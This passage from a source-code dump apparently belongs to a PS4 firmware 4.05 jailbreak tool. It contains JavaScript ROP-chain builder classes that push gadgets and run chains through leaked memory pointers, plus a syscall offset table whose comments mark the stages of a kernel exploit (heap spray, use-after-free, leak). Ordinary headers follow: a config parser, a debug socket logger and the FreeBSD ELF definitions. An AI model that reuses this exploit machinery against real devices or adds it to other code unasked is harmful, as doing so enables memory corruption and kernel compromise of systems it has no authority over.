76 | this.ropChain = undefined;
77 | this.ropChainPtr = undefined;
78 | this.ropChainEndPtr = undefined;
79 |
80 | if(addr == undefined)
81 | {
82 | this.ropChain = new Uint32Array(0x4000);
83 | this.ropChainPtr = p.read8(p.leakval(this.ropChain).add32(0x28));
84 | this.ropChainEndPtr = this.ropChainPtr.add32(0x4000*4);
85 | }
86 | else
87 | {
88 | this.ropChainPtr = addr;
89 | this.ropChainEndPtr = this.ropChainPtr.add32(0x4000*4);
90 | }
91 |
92 | this.count = 0;
93 |
94 | /* Clears the chain */
95 | this.clear = function()
96 | {
97 | this.count = 0;
98 | this.runtime = undefined;
99 |
100 | for(var i = 0; i < 0x4000 - 0x8; i += 8)
101 | {
102 | p.write8(this.ropChainPtr.add32(i), 0);
103 | }
104 | };
105 |
106 | /* Gets the current chain index and increments it */
107 | this.getChainIndex = function()
108 | {
109 | this.count++;
110 | return this.count-1;
111 | }
112 |
113 | /* Pushes a gadget or value on the stack */
114 | this.push = function(val)
115 | {
116 | p.write8(this.ropChainPtr.add32(this.getChainIndex() * 8), val);
117 | }
118 |
119 | /* Writes a 64-bit value to given location */
120 | this.push64 = function(where, what)
121 | {
122 | this.push(window.gadgets["pop rdi"]);
123 | this.push(where);
124 | this.push(window.gadgets["pop rsi"]);
125 | this.push(what);
126 | this.push(window.gadgets["mov qword ptr [rdi], rsi"]);
127 | }
128 |
129 | /* Sets up a function call into a module by address */
130 | this.call = function (rip, rdi, rsi, rdx, rcx, r8, r9)
131 | {
132 | if(rdi != undefined)
133 | {
134 | this.push(window.gadgets["pop rdi"]);
135 | this.push(rdi);
136 | }
137 |
138 | if(rsi != undefined)
139 | {
140 | this.push(window.gadgets["pop rsi"]);
141 | this.push(rsi);
142 | }
143 |
144 | if(rdx != undefined)
145 | {
146 | this.push(window.gadgets["pop rdx"]);
147 | this.push(rdx);
148 | }
149 |
150 | if(rcx != undefined)
151 | {
152 | this.push(window.gadgets["pop rcx"]);
153 | this.push(rcx);
154 | }
155 |
156 | if(r8 != undefined)
157 | {
158 | this.push(window.gadgets["pop r8"]);
159 | this.push(r8);
160 | }
161 |
162 | if(r9 != undefined)
163 | {
164 | this.push(window.gadgets["pop r9"]);
165 | this.push(r9);
166 | }
167 |
168 | this.push(rip);
169 | return this;
170 | }
171 |
172 | /* Sets up a return value location*/
173 | this.saveReturnValue = function(where)
174 | {
175 | this.push(window.gadgets["pop rdi"]);
176 | this.push(where);
177 | this.push(window.gadgets["mov qword ptr [rdi], rax"]);
178 | }
179 |
180 | /* Loads the ROP chain and initializes it */
181 | this.run = function()
182 | {
183 | var retv = p.loadchain(this);
184 | this.clear();
185 |
186 | return retv;
187 | }
188 |
189 | return this;
190 | };
191 |
192 | /* Called to start a new ROP chain */
193 | var rop = function(p, addr) {
194 | this.ropChainSize = 0x4000;
195 | this.ropChain = undefined;
196 | this.ropChainBasePtr = undefined;
197 | this.ropChainPtr = undefined;
198 | this.ropChainEndPtr = undefined;
199 |
200 | if(addr == undefined)
201 | {
202 | this.ropChain = new Uint32Array((this.ropChainSize/4)*2);
203 | this.ropChainBasePtr = p.read8(p.leakval(this.ropChain).add32(0x28)).add32(this.ropChainSize);
204 | this.ropChainPtr = this.ropChainBasePtr.add32(8);
205 | this.ropChainEndPtr = this.ropChainBasePtr.add32(this.ropChainSize);
206 | }
207 | else
208 | {
209 | this.ropChainBasePtr = addr.add32(0);
210 | this.ropChainPtr = addr.add32(8);
211 | this.ropChainEndPtr = addr.add32(this.ropChainSize);
212 | }
213 |
214 | this.count = 0;
215 |
216 | /* Clears the chain */
217 | this.clear = function()
218 | {
219 | this.count = 0;
220 | this.runtime = undefined;
221 |
222 | for(var i = 0; i < this.ropChainSize-8; i += 8)
223 | {
224 | p.write8(this.ropChainBasePtr.add32(i), 0);
225 | }
226 | };
227 |
228 | /* Gets the current chain index and increments it */
229 | this.getChainIndex = function()
230 | {
231 | this.count++;
232 | return this.count-1;
233 | }
234 |
235 | /* Pushes a gadget or value on the stack */
236 | this.push = function(val)
237 | {
238 | p.write8(this.ropChainPtr.add32(this.getChainIndex() * 8), val);
239 | }
240 |
241 | /* Writes a 64-bit value to given location */
242 | this.push64 = function(where, what)
243 | {
244 | this.push(window.gadgets["pop rdi"]);
245 | this.push(where);
246 | this.push(window.gadgets["pop rsi"]);
247 | this.push(what);
248 | this.push(window.gadgets["mov qword ptr [rdi], rsi"]);
249 | }
250 |
251 | /* Sets up a function call into a module by address */
252 | this.call = function (rip, rdi, rsi, rdx, rcx, r8, r9)
253 | {
254 | if(rdi != undefined)
255 | {
256 | this.push(window.gadgets["pop rdi"]);
257 | this.push(rdi);
258 | }
259 |
260 | if(rsi != undefined)
261 | {
262 | this.push(window.gadgets["pop rsi"]);
263 | this.push(rsi);
264 | }
265 |
266 | if(rdx != undefined)
267 | {
268 | this.push(window.gadgets["pop rdx"]);
269 | this.push(rdx);
270 | }
271 |
272 | if(rcx != undefined)
273 | {
274 | this.push(window.gadgets["pop rcx"]);
275 | this.push(rcx);
276 | }
277 |
278 | if(r8 != undefined)
279 | {
280 | this.push(window.gadgets["pop r8"]);
281 | this.push(r8);
282 | }
283 |
284 | if(r9 != undefined)
285 | {
286 | this.push(window.gadgets["pop r9"]);
287 | this.push(r9);
288 | }
289 |
290 | this.push(rip);
291 | return this;
292 | }
293 |
294 | /* Sets up a return value location*/
295 | this.saveReturnValue = function(where)
296 | {
297 | this.push(window.gadgets["pop rdi"]);
298 | this.push(where);
299 | this.push(window.gadgets["mov qword ptr [rdi], rax"]);
300 | }
301 |
302 | /* Loads the ROP chain and initializes it */
303 | this.run = function()
304 | {
305 | var retv = p.loadchain(this);
306 | this.clear();
307 |
308 | return retv;
309 | }
310 |
311 | return this;
312 | };
313 |
--------------------------------------------------------------------------------
/405/exploit/syscalls.js:
--------------------------------------------------------------------------------
1 | /* Holds system call wrapper offsets for user's specific firmware */
2 | window.syscalls = [];
3 | window.memcalls = [];
4 |
5 | /* These are the offsets in libkernel for system call wrappers */
6 | window.syscallMap =
7 | {
8 | '4.05':
9 | {
10 | 3: 0x25F0,
11 | 4: 0x2730,
12 | 5: 0x2570,
13 | 6: 0x24D0,
14 | 20: 0x06F0,
15 | 23: 0x0710,
16 | 24: 0x0730,
17 | 54: 0x0970, // Heap spray via sys_ioctl
18 | 97: 0x0B70,
19 | 98: 0x24F0,
20 | 203: 0x1030, // Prefaulting
21 | 477: 0x27B0, // sys_mmap
22 | 557: 0x1AF0, // Kernel Exploit Free P1 "sys_namedobj_create"
23 | 558: 0x1B10, // Kernel Exploit Free P3 "sys_namedobj_delete"
24 | 601: 0x1E70, // Kernel Exploit Free P2 "sys_mdbg_service",
25 | 632: 0x21D0, // Kernel Exploit Leak P1 "sys_thr_suspend_ucontext"
26 | 633: 0x21F0, // Kernel Exploit Leak P3 "sys_thr_resume_ucontext"
27 | 634: 0x2210, // Kernel Exploit Leak P2 "sys_thr_get_ucontext"
28 | }
29 | }
30 |
31 | /* A long ass map of system call names -> number, you shouldn't need to touch this */
32 | window.syscallnames =
33 | {
34 | "sys_exit": 1,
35 | "sys_fork": 2,
36 | "sys_read": 3,
37 | "sys_write": 4,
38 | "sys_open": 5,
39 | "sys_close": 6,
40 | "sys_wait4": 7,
41 | "sys_unlink": 10,
42 | "sys_chdir": 12,
43 | "sys_chmod": 15,
44 | "sys_getpid": 20,
45 | "sys_setuid": 23,
46 | "sys_getuid": 24,
47 | "sys_geteuid": 25,
48 | "sys_recvmsg": 27,
49 | "sys_sendmsg": 28,
50 | "sys_recvfrom": 29,
51 | "sys_accept": 30,
52 | "sys_getpeername": 31,
53 | "sys_getsockname": 32,
54 | "sys_access": 33,
55 | "sys_chflags": 34,
56 | "sys_fchflags": 35,
57 | "sys_sync": 36,
58 | "sys_kill": 37,
59 | "sys_stat": 38,
60 | "sys_getppid": 39,
61 | "sys_dup": 41,
62 | "sys_pipe": 42,
63 | "sys_getegid": 43,
64 | "sys_profil": 44,
65 | "sys_getgid": 47,
66 | "sys_getlogin": 49,
67 | "sys_setlogin": 50,
68 | "sys_sigaltstack": 53,
69 | "sys_ioctl": 54,
70 | "sys_reboot": 55,
71 | "sys_revoke": 56,
72 | "sys_execve": 59,
73 | "sys_execve": 59,
74 | "sys_msync": 65,
75 | "sys_munmap": 73,
76 | "sys_mprotect": 74,
77 | "sys_madvise": 75,
78 | "sys_mincore": 78,
79 | "sys_getgroups": 79,
80 | "sys_setgroups": 80,
81 | "sys_setitimer": 83,
82 | "sys_getitimer": 86,
83 | "sys_getdtablesize": 89,
84 | "sys_dup2": 90,
85 | "sys_fcntl": 92,
86 | "sys_select": 93,
87 | "sys_fsync": 95,
88 | "sys_setpriority": 96,
89 | "sys_socket": 97,
90 | "sys_connect": 98,
91 | "sys_getpriority": 100,
92 | "sys_send": 101,
93 | "sys_recv": 102,
94 | "sys_bind": 104,
95 | "sys_setsockopt": 105,
96 | "sys_listen": 106,
97 | "sys_recvmsg": 113,
98 | "sys_sendmsg": 114,
99 | "sys_gettimeofday": 116,
100 | "sys_getrusage": 117,
101 | "sys_getsockopt": 118,
102 | "sys_readv": 120,
103 | "sys_writev": 121,
104 | "sys_settimeofday": 122,
105 | "sys_fchmod": 124,
106 | "sys_recvfrom": 125,
107 | "sys_setreuid": 126,
108 | "sys_setregid": 127,
109 | "sys_rename": 128,
110 | "sys_flock": 131,
111 | "sys_sendto": 133,
112 | "sys_shutdown": 134,
113 | "sys_socketpair": 135,
114 | "sys_mkdir": 136,
115 | "sys_rmdir": 137,
116 | "sys_utimes": 138,
117 | "sys_adjtime": 140,
118 | "sys_getpeername": 141,
119 | "sys_setsid": 147,
120 | "sys_sysarch": 165,
121 | "sys_setegid": 182,
122 | "sys_seteuid": 183,
123 | "sys_fstat": 189,
124 | "sys_lstat": 190,
125 | "sys_pathconf": 191,
126 | "sys_fpathconf": 192,
127 | "sys_getrlimit": 194,
128 | "sys_setrlimit": 195,
129 | "sys_getdirentries": 196,
130 | "sys___sysctl": 202,
131 | "sys_mlock": 203,
132 | "sys_munlock": 204,
133 | "sys_futimes": 206,
134 | "sys_poll": 209,
135 | "sys_clock_gettime": 232,
136 | "sys_clock_settime": 233,
137 | "sys_clock_getres": 234,
138 | "sys_ktimer_create": 235,
139 | "sys_ktimer_delete": 236,
140 | "sys_ktimer_settime": 237,
141 | "sys_ktimer_gettime": 238,
142 | "sys_ktimer_getoverrun": 239,
143 | "sys_nanosleep": 240,
144 | "sys_rfork": 251,
145 | "sys_issetugid": 253,
146 | "sys_getdents": 272,
147 | "sys_preadv": 289,
148 | "sys_pwritev": 290,
149 | "sys_getsid": 310,
150 | "sys_aio_suspend": 315,
151 | "sys_mlockall": 324,
152 | "sys_munlockall": 325,
153 | "sys_sched_setparam": 327,
154 | "sys_sched_getparam": 328,
155 | "sys_sched_setscheduler": 329,
156 | "sys_sched_getscheduler": 330,
157 | "sys_sched_yield": 331,
158 | "sys_sched_get_priority_max": 332,
159 | "sys_sched_get_priority_min": 333,
160 | "sys_sched_rr_get_interval": 334,
161 | "sys_utrace": 335,
162 | "sys_sigprocmask": 340,
163 | "sys_sigprocmask": 340,
164 | "sys_sigsuspend": 341,
165 | "sys_sigpending": 343,
166 | "sys_sigtimedwait": 345,
167 | "sys_sigwaitinfo": 346,
168 | "sys_kqueue": 362,
169 | "sys_kevent": 363,
170 | "sys_uuidgen": 392,
171 | "sys_sendfile": 393,
172 | "sys_fstatfs": 397,
173 | "sys_ksem_close": 400,
174 | "sys_ksem_post": 401,
175 | "sys_ksem_wait": 402,
176 | "sys_ksem_trywait": 403,
177 | "sys_ksem_init": 404,
178 | "sys_ksem_open": 405,
179 | "sys_ksem_unlink": 406,
180 | "sys_ksem_getvalue": 407,
181 | "sys_ksem_destroy": 408,
182 | "sys_sigaction": 416,
183 | "sys_sigreturn": 417,
184 | "sys_getcontext": 421,
185 | "sys_setcontext": 422,
186 | "sys_swapcontext": 423,
187 | "sys_sigwait": 429,
188 | "sys_thr_create": 430,
189 | "sys_thr_exit": 431,
190 | "sys_thr_self": 432,
191 | "sys_thr_kill": 433,
192 | "sys_ksem_timedwait": 441,
193 | "sys_thr_suspend": 442,
194 | "sys_thr_wake": 443,
195 | "sys_kldunloadf": 444,
196 | "sys__umtx_op": 454,
197 | "sys__umtx_op": 454,
198 | "sys_thr_new": 455,
199 | "sys_sigqueue": 456,
200 | "sys_thr_set_name": 464,
201 | "sys_rtprio_thread": 466,
202 | "sys_pread": 475,
203 | "sys_pwrite": 476,
204 | "sys_mmap": 477,
205 | "sys_lseek": 478,
206 | "sys_truncate": 479,
207 | "sys_ftruncate": 480,
208 | "sys_thr_kill2": 481,
209 | "sys_shm_open": 482,
210 | "sys_shm_unlink": 483,
211 | "sys_cpuset_getid": 486,
212 | "sys_cpuset_getaffinity": 487,
213 | "sys_cpuset_setaffinity": 488,
214 | "sys_openat": 499,
215 | "sys_pselect": 522,
216 |
217 | "sys_regmgr_call": 532,
218 | "sys_jitshm_create": 533,
219 | "sys_jitshm_alias": 534,
220 | "sys_dl_get_list": 535,
221 | "sys_dl_get_info": 536,
222 | "sys_dl_notify_event": 537,
223 | "sys_evf_create": 538,
224 | "sys_evf_delete": 539,
225 | "sys_evf_open": 540,
226 | "sys_evf_close": 541,
227 | "sys_evf_wait": 542,
228 | "sys_evf_trywait": 543,
229 | "sys_evf_set": 544,
230 | "sys_evf_clear": 545,
231 | "sys_evf_cancel": 546,
232 | "sys_query_memory_protection": 47,
233 | "sys_batch_map": 548,
234 | "sys_osem_create": 549,
235 | "sys_osem_delete": 550,
236 | "sys_osem_open": 551,
237 | "sys_osem_close": 552,
238 | "sys_osem_wait": 553,
239 | "sys_osem_trywait": 554,
240 | "sys_osem_post": 555,
241 | "sys_osem_cancel": 556,
242 | "sys_namedobj_create": 557,
243 | "sys_namedobj_delete": 558,
244 | "sys_set_vm_container": 559,
245 | "sys_debug_init": 560,
246 | "sys_suspend_process": 561,
247 | "sys_resume_process": 562,
248 | "sys_opmc_enable": 563,
249 | "sys_opmc_disable": 564,
250 | "sys_opmc_set_ctl": 565,
251 | "sys_opmc_set_ctr": 566,
252 | "sys_opmc_get_ctr": 567,
253 | "sys_budget_create": 568,
254 | "sys_budget_delete": 569,
255 | "sys_budget_get": 570,
256 | "sys_budget_set": 571,
257 | "sys_virtual_query": 572,
258 | "sys_mdbg_call": 573,
259 | "sys_sblock_create": 574,
260 | "sys_sblock_delete": 575,
261 | "sys_sblock_enter": 576,
262 | "sys_sblock_exit": 577,
263 | "sys_sblock_xenter": 578,
264 | "sys_sblock_xexit": 579,
265 | "sys_eport_create": 580,
266 | "sys_eport_delete": 581,
267 | "sys_eport_trigger": 582,
268 | "sys_eport_open": 583,
269 | "sys_eport_close": 584,
270 | "sys_is_in_sandbox": 585,
271 | "sys_dmem_container": 586,
272 | "sys_get_authinfo": 587,
273 | "sys_mname": 588,
274 | "sys_dynlib_dlopen": 589,
275 | "sys_dynlib_dlclose": 590,
276 | "sys_dynlib_dlsym": 591,
277 | "sys_dynlib_get_list": 592,
278 | "sys_dynlib_get_info": 593,
279 | "sys_dynlib_load_prx": 594,
280 | "sys_dynlib_unload_prx": 595,
281 | "sys_dynlib_do_copy_relocations": 596,
282 | "sys_dynlib_prepare_dlclose": 597,
283 | "sys_dynlib_get_proc_param": 598,
284 | "sys_dynlib_process_needed_and_relocate": 599,
285 | "sys_sandbox_path": 600,
286 | "sys_mdbg_service": 601,
287 | "sys_randomized_path": 602,
288 | "sys_rdup": 603,
289 | "sys_dl_get_metadata": 604,
290 | "sys_workaround8849": 605,
291 | "sys_is_development_mode": 606,
292 | "sys_get_self_auth_info": 607,
293 | "sys_dynlib_get_info_ex": 608,
294 | "sys_budget_get_ptype": 610,
295 | "sys_budget_getid": 609,
296 | "sys_get_paging_stats_of_all_threads": 611,
297 | "sys_get_proc_type_info": 612,
298 | "sys_get_resident_count": 613,
299 | "sys_prepare_to_suspend_process": 614,
300 | "sys_get_resident_fmem_count": 615,
301 | "sys_thr_get_name": 616,
302 | "sys_set_gpo": 617,
303 | "sys_thr_suspend_ucontext": 632,
304 | "sys_thr_resume_ucontext": 633,
305 | "sys_thr_get_ucontext": 634
306 | }
307 |
--------------------------------------------------------------------------------
/405/include/cfg.h:
--------------------------------------------------------------------------------
1 | /* inih -- simple .ini/.cfg file parser
2 |
3 | inih is released under the New BSD license (see LICENSE.txt). Go to the project
4 | home page for more info:
5 |
6 | https://github.com/benhoyt/inih
7 |
8 | */
9 |
10 | #ifndef __CFG_H__
11 | #define __CFG_H__
12 |
13 | /* Nonzero if cfg_handler callback should accept lineno parameter. */
14 | #ifndef CFG_HANDLER_LINENO
15 | #define CFG_HANDLER_LINENO 0
16 | #endif
17 |
18 | /* Typedef for prototype of handler function. */
19 | #if CFG_HANDLER_LINENO
20 | typedef int (*cfg_handler)(void* user, const char* name, const char* value, int lineno);
21 | #else
22 | typedef int (*cfg_handler)(void* user, const char* name, const char* value);
23 | #endif
24 |
25 | /* Typedef for prototype of fgets-style reader function. */
26 | typedef char* (*cfg_reader)(char* str, int num, void* stream);
27 |
28 | /* Parse given CONF-style file. May have name=value pairs
29 | (whitespace stripped), and comments starting with ';' (semicolon).
30 |
31 | For each name=value pair parsed, call handler function with given user
32 | pointer and value (data only valid for duration
33 | of handler call). Handler should return nonzero on success, zero on error.
34 |
35 | Returns 0 on success, line number of first error on parse error (doesn't
36 | stop on first error), -1 on file open error, or -2 on memory allocation
37 | error (only when CFG_USE_STACK is zero).
38 | */
39 | int cfg_parse(const char* filename, cfg_handler handler, void* user);
40 |
41 | /* Same as cfg_parse(), but takes a FILE* instead of filename. This doesn't
42 | close the file when it's finished -- the caller must do that. */
43 | int cfg_parse_file(FILE* file, cfg_handler handler, void* user);
44 |
45 | /* Same as cfg_parse(), but takes an cfg_reader function pointer instead of
46 | filename. Used for implementing custom or string-based I/O (see also
47 | cfg_parse_string). */
48 | int cfg_parse_stream(cfg_reader reader, void* stream, cfg_handler handler,
49 | void* user);
50 |
51 | /* Same as cfg_parse(), but takes a zero-terminated string with the CONF data
52 | instead of a file. Useful for parsing CONF data from a network socket or
53 | already in memory. */
54 | int cfg_parse_string(const char* string, cfg_handler handler, void* user);
55 |
56 | /* Nonzero to allow multi-line value parsing, in the style of Python's
57 | configparser. If allowed, cfg_parse() will call the handler with the same
58 | name for each subsequent line parsed. */
59 | #ifndef CFG_ALLOW_MULTILINE
60 | #define CFG_ALLOW_MULTILINE 0
61 | #endif
62 |
63 | /* Nonzero to allow a UTF-8 BOM sequence (0xEF 0xBB 0xBF) at the start of
64 | the file. See http://code.google.com/p/inih/issues/detail?id=21 */
65 | #ifndef CFG_ALLOW_BOM
66 | #define CFG_ALLOW_BOM 0
67 | #endif
68 |
69 | /* Nonzero to allow inline comments (with valid inline comment characters
70 | specified by CFG_INLINE_COMMENT_PREFIXES). Set to 0 to turn off and match
71 | Python 3.2+ configparser behaviour. */
72 | #ifndef CFG_ALLOW_INLINE_COMMENTS
73 | #define CFG_ALLOW_INLINE_COMMENTS 1
74 | #endif
75 | #ifndef CFG_INLINE_COMMENT_PREFIXES
76 | #define CFG_INLINE_COMMENT_PREFIXES ";"
77 | #endif
78 |
79 | /* Nonzero to use stack for line buffer, zero to use heap (malloc/free). */
80 | #ifndef CFG_USE_STACK
81 | #define CFG_USE_STACK 1
82 | #endif
83 |
84 | /* Maximum line length for any line in CONF file (stack or heap). Note that
85 | this must be 3 more than the longest line (due to '\r', '\n', and '\0'). */
86 | #ifndef CFG_MAX_LINE
87 | #define CFG_MAX_LINE 200
88 | #endif
89 |
90 | /* Nonzero to allow heap line buffer to grow via realloc(), zero for a
91 | fixed-size buffer of CFG_MAX_LINE bytes. Only applies if CFG_USE_STACK is
92 | zero. */
93 | #ifndef CFG_ALLOW_REALLOC
94 | #define CFG_ALLOW_REALLOC 0
95 | #endif
96 |
97 | /* Initial size in bytes for heap line buffer. Only applies if CFG_USE_STACK
98 | is zero. */
99 | #ifndef CFG_INITIAL_ALLOC
100 | #define CFG_INITIAL_ALLOC 200
101 | #endif
102 |
103 | /* Stop parsing on first error (default is to keep parsing). */
104 | #ifndef CFG_STOP_ON_FIRST_ERROR
105 | #define CFG_STOP_ON_FIRST_ERROR 0
106 | #endif
107 |
108 | #endif /* __CFG_H__ */
109 |
--------------------------------------------------------------------------------
/405/include/debug.h:
--------------------------------------------------------------------------------
1 | #ifndef DEBUG_H
2 | #define DEBUG_H
3 |
4 | #define PRIx64 "llx"
5 | #define PRIu64 "llu"
6 | #define PRId64 "lld"
7 |
8 | int sock;
9 | char notify_buf[512];
10 |
11 | void initDebugSocket(void);
12 | void closeDebugSocket(void);
13 |
14 | #ifdef DEBUG_SOCKET
15 | #define printfsocket(format, ...)\
16 | do {\
17 | char __printfsocket_buffer[512];\
18 | int __printfsocket_size = sprintf(__printfsocket_buffer, format, ##__VA_ARGS__);\
19 | sceNetSend(sock, __printfsocket_buffer, __printfsocket_size, 0);\
20 | } while(0)
21 | #else
22 | #define printfsocket(format, ...) (void)0
23 | #endif
24 |
25 | void notify(char *message);
26 |
27 | #endif
28 |
--------------------------------------------------------------------------------
/405/include/defines.h:
--------------------------------------------------------------------------------
1 | #ifndef __DEFINES
2 | #define __DEFINES
3 |
4 | #define VERSION "1.0"
5 |
6 | #define CONFIG_FILE "ps4-pkg2usb.cfg"
7 |
8 | //#define DEBUG_SOCKET
9 |
10 | #define LOG_IP "192.168.1.200"
11 | #define LOG_PORT 9023
12 |
13 | #endif
14 |
--------------------------------------------------------------------------------
/405/include/elf64.h:
--------------------------------------------------------------------------------
1 | /*-
2 | * Copyright (c) 1996-1998 John D. Polstra.
3 | * All rights reserved.
4 | *
5 | * Redistribution and use in source and binary forms, with or without
6 | * modification, are permitted provided that the following conditions
7 | * are met:
8 | * 1. Redistributions of source code must retain the above copyright
9 | * notice, this list of conditions and the following disclaimer.
10 | * 2. Redistributions in binary form must reproduce the above copyright
11 | * notice, this list of conditions and the following disclaimer in the
12 | * documentation and/or other materials provided with the distribution.
13 | *
14 | * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
15 | * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
16 | * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
17 | * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
18 | * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
19 | * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
20 | * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
21 | * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
22 | * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
23 | * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
24 | * SUCH DAMAGE.
25 | *
26 | * $FreeBSD: release/9.0.0/sys/sys/elf64.h 186667 2009-01-01 02:08:56Z obrien $
27 | */
28 |
29 |
30 |
31 | #include "elf_common.h"
32 |
33 | /*
34 | * ELF definitions common to all 64-bit architectures.
35 | */
36 |
37 | typedef uint64_t Elf64_Addr;
38 | typedef uint16_t Elf64_Half;
39 | typedef uint64_t Elf64_Off;
40 | typedef int32_t Elf64_Sword;
41 | typedef int64_t Elf64_Sxword;
42 | typedef uint32_t Elf64_Word;
43 | typedef uint64_t Elf64_Lword;
44 | typedef uint64_t Elf64_Xword;
45 |
46 | /*
47 | * Types of dynamic symbol hash table bucket and chain elements.
48 | *
49 | * This is inconsistent among 64 bit architectures, so a machine dependent
50 | * typedef is required.
51 | */
52 |
53 | typedef Elf64_Word Elf64_Hashelt;
54 |
55 | /* Non-standard class-dependent datatype used for abstraction. */
56 | typedef Elf64_Xword Elf64_Size;
57 | typedef Elf64_Sxword Elf64_Ssize;
58 |
59 | /*
60 | * ELF header.
61 | */
62 |
63 | typedef struct {
64 | unsigned char e_ident[EI_NIDENT]; /* File identification. */
65 | Elf64_Half e_type; /* File type. */
66 | Elf64_Half e_machine; /* Machine architecture. */
67 | Elf64_Word e_version; /* ELF format version. */
68 | Elf64_Addr e_entry; /* Entry point. */
69 | Elf64_Off e_phoff; /* Program header file offset. */
70 | Elf64_Off e_shoff; /* Section header file offset. */
71 | Elf64_Word e_flags; /* Architecture-specific flags. */
72 | Elf64_Half e_ehsize; /* Size of ELF header in bytes. */
73 | Elf64_Half e_phentsize; /* Size of program header entry. */
74 | Elf64_Half e_phnum; /* Number of program header entries. */
75 | Elf64_Half e_shentsize; /* Size of section header entry. */
76 | Elf64_Half e_shnum; /* Number of section header entries. */
77 | Elf64_Half e_shstrndx; /* Section name strings section. */
78 | } Elf64_Ehdr;
79 |
80 | /*
81 | * Section header.
82 | */
83 |
84 | typedef struct {
85 | Elf64_Word sh_name; /* Section name (index into the
86 | section header string table). */
87 | Elf64_Word sh_type; /* Section type. */
88 | Elf64_Xword sh_flags; /* Section flags. */
89 | Elf64_Addr sh_addr; /* Address in memory image. */
90 | Elf64_Off sh_offset; /* Offset in file. */
91 | Elf64_Xword sh_size; /* Size in bytes. */
92 | Elf64_Word sh_link; /* Index of a related section. */
93 | Elf64_Word sh_info; /* Depends on section type. */
94 | Elf64_Xword sh_addralign; /* Alignment in bytes. */
95 | Elf64_Xword sh_entsize; /* Size of each entry in section. */
96 | } Elf64_Shdr;
97 |
98 | /*
99 | * Program header.
100 | */
101 |
102 | typedef struct {
103 | Elf64_Word p_type; /* Entry type. */
104 | Elf64_Word p_flags; /* Access permission flags. */
105 | Elf64_Off p_offset; /* File offset of contents. */
106 | Elf64_Addr p_vaddr; /* Virtual address in memory image. */
107 | Elf64_Addr p_paddr; /* Physical address (not used). */
108 | Elf64_Xword p_filesz; /* Size of contents in file. */
109 | Elf64_Xword p_memsz; /* Size of contents in memory. */
110 | Elf64_Xword p_align; /* Alignment in memory and file. */
111 | } Elf64_Phdr;
112 |
113 | /*
114 | * Dynamic structure. The ".dynamic" section contains an array of them.
115 | */
116 |
117 | typedef struct {
118 | Elf64_Sxword d_tag; /* Entry type. */
119 | union {
120 | Elf64_Xword d_val; /* Integer value. */
121 | Elf64_Addr d_ptr; /* Address value. */
122 | } d_un;
123 | } Elf64_Dyn;
124 |
125 | /*
126 | * Relocation entries.
127 | */
128 |
129 | /* Relocations that don't need an addend field. */
130 | typedef struct {
131 | Elf64_Addr r_offset; /* Location to be relocated. */
132 | Elf64_Xword r_info; /* Relocation type and symbol index. */
133 | } Elf64_Rel;
134 |
135 | /* Relocations that need an addend field. */
136 | typedef struct {
137 | Elf64_Addr r_offset; /* Location to be relocated. */
138 | Elf64_Xword r_info; /* Relocation type and symbol index. */
139 | Elf64_Sxword r_addend; /* Addend. */
140 | } Elf64_Rela;
141 |
142 | /* Macros for accessing the fields of r_info. */
143 | #define ELF64_R_SYM(info) ((info) >> 32)
144 | #define ELF64_R_TYPE(info) ((info) & 0xffffffffL)
145 |
146 | /* Macro for constructing r_info from field values. */
147 | #define ELF64_R_INFO(sym, type) (((sym) << 32) + ((type) & 0xffffffffL))
148 |
149 | #define ELF64_R_TYPE_DATA(info) (((Elf64_Xword)(info)<<32)>>40)
150 | #define ELF64_R_TYPE_ID(info) (((Elf64_Xword)(info)<<56)>>56)
151 | #define ELF64_R_TYPE_INFO(data, type) \
152 | (((Elf64_Xword)(data)<<8)+(Elf64_Xword)(type))
153 |
154 | /*
155 | * Note entry header
156 | */
157 | typedef Elf_Note Elf64_Nhdr;
158 |
159 | /*
160 | * Move entry
161 | */
162 | typedef struct {
163 | Elf64_Lword m_value; /* symbol value */
164 | Elf64_Xword m_info; /* size + index */
165 | Elf64_Xword m_poffset; /* symbol offset */
166 | Elf64_Half m_repeat; /* repeat count */
167 | Elf64_Half m_stride; /* stride info */
168 | } Elf64_Move;
169 |
170 | #define ELF64_M_SYM(info) ((info)>>8)
171 | #define ELF64_M_SIZE(info) ((unsigned char)(info))
172 | #define ELF64_M_INFO(sym, size) (((sym)<<8)+(unsigned char)(size))
173 |
174 | /*
175 | * Hardware/Software capabilities entry
176 | */
177 | typedef struct {
178 | Elf64_Xword c_tag; /* how to interpret value */
179 | union {
180 | Elf64_Xword c_val;
181 | Elf64_Addr c_ptr;
182 | } c_un;
183 | } Elf64_Cap;
184 |
185 | /*
186 | * Symbol table entries.
187 | */
188 |
189 | typedef struct {
190 | Elf64_Word st_name; /* String table index of name. */
191 | unsigned char st_info; /* Type and binding information. */
192 | unsigned char st_other; /* Reserved (not used). */
193 | Elf64_Half st_shndx; /* Section index of symbol. */
194 | Elf64_Addr st_value; /* Symbol value. */
195 | Elf64_Xword st_size; /* Size of associated object. */
196 | } Elf64_Sym;
197 |
198 | /* Macros for accessing the fields of st_info. */
199 | #define ELF64_ST_BIND(info) ((info) >> 4)
200 | #define ELF64_ST_TYPE(info) ((info) & 0xf)
201 |
202 | /* Macro for constructing st_info from field values. */
203 | #define ELF64_ST_INFO(bind, type) (((bind) << 4) + ((type) & 0xf))
204 |
205 | /* Macro for accessing the fields of st_other. */
206 | #define ELF64_ST_VISIBILITY(oth) ((oth) & 0x3)
207 |
208 | /* Structures used by Sun & GNU-style symbol versioning. */
209 | typedef struct {
210 | Elf64_Half vd_version;
211 | Elf64_Half vd_flags;
212 | Elf64_Half vd_ndx;
213 | Elf64_Half vd_cnt;
214 | Elf64_Word vd_hash;
215 | Elf64_Word vd_aux;
